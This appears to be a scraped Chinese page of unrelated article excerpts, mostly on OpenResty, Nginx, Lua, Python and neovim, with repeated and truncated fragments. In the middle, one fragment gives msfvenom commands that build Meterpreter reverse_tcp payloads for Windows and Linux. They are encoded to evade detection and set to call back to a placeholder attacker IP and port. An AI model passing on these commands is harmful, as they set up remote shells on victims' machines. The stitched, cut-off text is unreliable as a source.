本文介绍以下内容: OpenResty简介 Nginx优点 Lua基础学习 环境搭建 window下环境搭建 Linux(CentOS 7)下环境搭建 linux下ab性能测试 总结 优点 缺点 可适用的场景
本文关键字:app level vm,hypervisor as component, hypervisor as api, langsys as api,cloud infrastructure as code,Devops is only tools but not appmodel, Lua as configuration language
在Linux的广阔生态系统中,Lua作为一种轻量级、可嵌入的脚本语言,已经得到了广泛的应用。虽然Lua本身并不是Linux的一个直接命令,但它可以通过命令行解释器(如lua或luajit)来执行Lua脚本,从而在数据处理和分析中发挥重要作用。本文将带您了解Lua在Linux下的使用,包括它的定义、工作原理、主要特点、使用示例以及最佳实践。
监控完全体 = Prometheus + Node Exporter + cadvisor + grafana
nvim启动时会加载init.lua配置,然后通过require("lazynvim-init")查找当前init.lua所在目录下的lua目录下的lazynvim-init.lua文件,运行其内容。
worker_processes 1 建议设置成cpu总核心数 epoll . select …
首先我们要关注当前流行的各种Lua版本(5.1x,5.2x,5.3x),如何选择我的观点是根据自己的需求,选择适合自己的最新稳定版。
Lua [1] 是一个小巧的脚本语言。它是巴西里约热内卢天主教大学(Pontifical Catholic University ofRio de Janeiro)里的一个由Roberto Ierusalimschy、Waldemar Celes 和 Luiz Henrique deFigueiredo三人所组成的研究小组于1993年开发的。 其设计目的是为了通过灵活嵌入应用程序中从而为应用程序提供灵活的扩展和定制功能。 Lua由标准C编写而成,几乎在所有操作系统和平台上都可以编译,运行。Lua并没有提供强大的库,这是由它的定位决定的。所以Lua不适合作为开发独立应用程序的语言。Lua 有一个同时进行的JIT项目,提供在特定平台上的即时编译功能。
脚本语言是一种用于自动化操作系统任务和应用程序功能的编程语言。它们通常用于编写小到中等规模的程序,以提高任务执行的速度和效率。在众多脚本语言中,Shell、Python 和 Lua 是最为常见和广泛应用的。
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Linux Socket编程领域为了处理大量连接请求场景,需要使用非阻塞I/O和复用,select、poll、epoll是Linux API提供的I/O复用方式,自从Linux2.6中加入了epoll之后,高性能服务器领域得到广泛的应用,Nignx就是使用epoll来实现I/O复用支持高并发。
我觉得故事是这样发展的.... 先是纠结语言 (lisp没听过 听说python效率不高还缩进 原来ruby是小鬼子弄的 那个什么叫lua的只能用来写游戏脚本 放眼望去java只能做民工啊 那个c语言
Python经常被用于Web开发。比如,通过mod_wsgi模块,Apache可以运行用Python编写的Web程序。使用Python语言编写的Gunicorn作为Web服务器,也能够运行Python语言编写的Web程序。Python定义了WSGI标准应用接口来协调Http服务器与基于Python的Web程序之间的沟通。一些Web框架,如Django、Pyramid、TurboGears、Tornado、web2py、Zope、Flask等,可以让程序员轻松地开发和管理复杂的Web程序。
Windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe Linux: msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
wget http://openresty.org/download/ngx_openresty-1.7.10.2.tar.gz
OpenResty 是一个强大的 Web 应用服务器,Web 开发人员可以使用 Lua 脚本语言调动 Nginx 支持的各种 C 以及 Lua 模块,更主要的是在性能方面,OpenResty可以 快速构造出足以胜任 10K 以上并发连接响应的超高性能 Web 应用系统。
简介 OpenResty® 是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。 OpenResty® 通过汇聚各种设计精良的 Nginx 模块(主要由 OpenResty 团队自主开发),从而将 Nginx 有效地变成一个强大的通用 Web 应用平台。这样,Web 开发人员和系统工程师可以使用 Lua 脚本语言调动 Nginx 支持的各种 C
除此之外,Nginx还具备可编程能力,理论上可以使用Nginx的扩展组件ngx_lua开发各种复杂的动态应用。不过,由于Lua是一种脚本动态语言,因此不太适合做复杂业务逻辑的程序开发。但是,在高并发场景下,Nginx Lua编程是解决性能问题的利器。
neovim是从vim的一个分支fork出来的,从性能等方面来讲都比vim强很多,所以从vim转到neovim了。
目前限流的解决方案有很多,从分布式角度来看,限流可分为分布式限流(比如基于Sentinel或者 Redis的集群限流)和单机限流。
下比较的基础都是基于一种编程语言+一定的第三方或者自己编写的网络库和底层进行的,Skynet稍微特殊,但总体比较合适放到比较中来 C# 开发效率:Windows下可以通过VisualStudio进行开发,其他平台可以使用MonoDevelop,非常方便 运行效率:JIT的性能优化比较到位,能适应90%性能环境 部署便捷性:可以通过交叉编译生成其他平台的可执行文件,通过mono运行可执行文件 调试便捷性:VisualStudio和MonoDevelop调试均很方便, 还可远程调试 上手度:对C系语言熟悉的几天
以下比较的基础都是基于一种编程语言+一定的第三方或者自己编写的网络库和底层进行的,Skynet稍微特殊,但总体比较合适放到比较中来 C# 开发效率:Windows下可以通过VisualStudio进行开发,其他平台可以使用MonoDevelop,非常方便 运行效率:JIT的性能优化比较到位,能适应90%性能环境 部署便捷性:可以通过交叉编译生成其他平台的可执行文件,通过mono运行可执行文件 调试便捷性:VisualStudio和MonoDevelop调试均很方便, 还可远程调试 上手度:对C系语言熟悉的几
OpenResty是一个基于 Nginx 与 Lua 的开源高性能 Web 平台,OpenResty团队为Nginx开发了Lua模块,使得开发者/运维可以使用Lua为OpenResty开发扩展,或者为Nginx定制功能,另外OpenResty团队也内置了很多Lua扩展(JWT、MySQL、Redis等),可以通过OpenResty高效率的开发高性能Web服务
Python 作为一种功能强大的编程语言,因其简单易学而受到很多开发者的青睐。那么,Python 的应用领域有哪些呢?
OpenResty® 是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。
简介:A WebGL accelerated, browser based JavaScript library for training and deploying ML models. https://js.tensorflow.org
Web环境是指在Web服务器上运行的用于托管和处理 Web 应用程序的软硬件组合。通常包括操作系统、Web 服务器软件、数据库系统、编程语言和其他相关工具。
项目简介:可视化分布式流程控制系统,数据流和业务流控制系统。使用golang开发,调度端采用了lua虚拟机,在web端可以创建串行流程,并且在每个流程中写lua脚本,发送到制定或者自动选择对远端机器进行任务执行。是之前项目openflow的升级版本。
在过去的远程代码调试场景中,需要调试远程服务器上的Lua代码,需要登录服务器,进行代码的编辑。或者将服务器上的代码进行下载,然后编辑后再上传到服务器上。
在官网上对 OpenResty 是这样介绍的(http://openresty.org):
可参考 http://openresty.org/en/linux-packages.html
前两天我开通了lua语言学习专栏,虽然在xx社区没多少小伙伴看,但是突然在知乎上了推荐,“火”了一把(一本经常胡说八道),第一次发文章在知乎上推荐的:我还是没有忍住,于是乎我开通了lua语言学习专栏!
OpenResty通过汇聚各种设计精良的Nginx模块(主要由OpenResty团队自主开发)将Nginx变成一个强大的通用Web应用平台。这样,Web开发人员和系统工程师可以使用Lua脚本语言调动Nginx支持的各种C以及Lua模块,快速构造出足以胜任10KB乃至1000KB以上单机并发连接的高性能Web应用系统。
这是春哥在去年 OpenResty 大会上的分享实录。满满的干货,我搭配 PPT 整理为三部分,分期发出来给大家。如果是有什么错漏,是我整理的问题。
通过部署nginx_lua_waf,具有使用简单、高性能、轻量级的优势,能够有效的防范sql注入、文件包含、XSS、fuzzing等web攻击,屏蔽异常的网络请求,防止webshell上传,相比于安全狗等商业版WAF,能够根据实际需求调整过滤规则,编辑符合企业自身业务需求的过滤规则。
Python 经常被用于 Web 开发,尽管目前 PHP、JS 依然是 Web 开发的主流语言,但 Python 上升势头更劲。尤其随着 Python 的 Web 开发框架逐渐成熟(比如 Django、flask、TurboGears、web2py 等等),程序员可以更轻松地开发和管理复杂的 Web 程序。
Python作为一种功能强大的编程语言,因其简单易学而受到很多开发者的青睐。那么,Python 的应用领域有哪些呢?
总结了17个 C/C++业内非常经典的开源项目,能够很好的帮助上手与进阶C/C++项目开发,积累项目经验。
虽然Python可能被粗略地分类为“脚本语言”(script language),但实际上一些大规模软件开发计划例如Zope、Mnet及BitTorrent,Google也广泛地使用它。Python的支持者较喜欢称它为一种高级动态编程语言,原因是“脚本语言”泛指仅作简单程序设计任务的语言,如shellscript、VBScript等只能处理简单任务的编程语言,并不能与Python相提并论。
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Python的应用范围广,无论是web开发,还是数据抓取,运维测试,都可以用它来实现,下面来具体看一下:
Nginx(或OpenResty)在生产场景中使用的广泛程度已经到了令人咂舌的地步。无论其实际的市场占用率如何,以笔者这些年所经历的项目来看,其使用率为100%。
Webbench是一个在linux下使用的非常简单的网站压测工具。它使用fork()模拟多个客户端同时访问我们设定的URL,测试网站在压力下工作的性能,最多可以模拟3万个并发连接去测试网站的负载能力。Webbench使用C语言编写, 代码实在太简洁,源码加起来不到600行。下载链接:Web Bench Homepage
由于我的做小程序的时候改了下后台的安装软件,不是使用的单纯的Nginx,而是使用的OpenResty,然后呢在网上看到了有介绍OpenResty的,故摘抄下来,不知道现在用 OpenResty人有多少,不过我倒是庆幸自己用OpenResty
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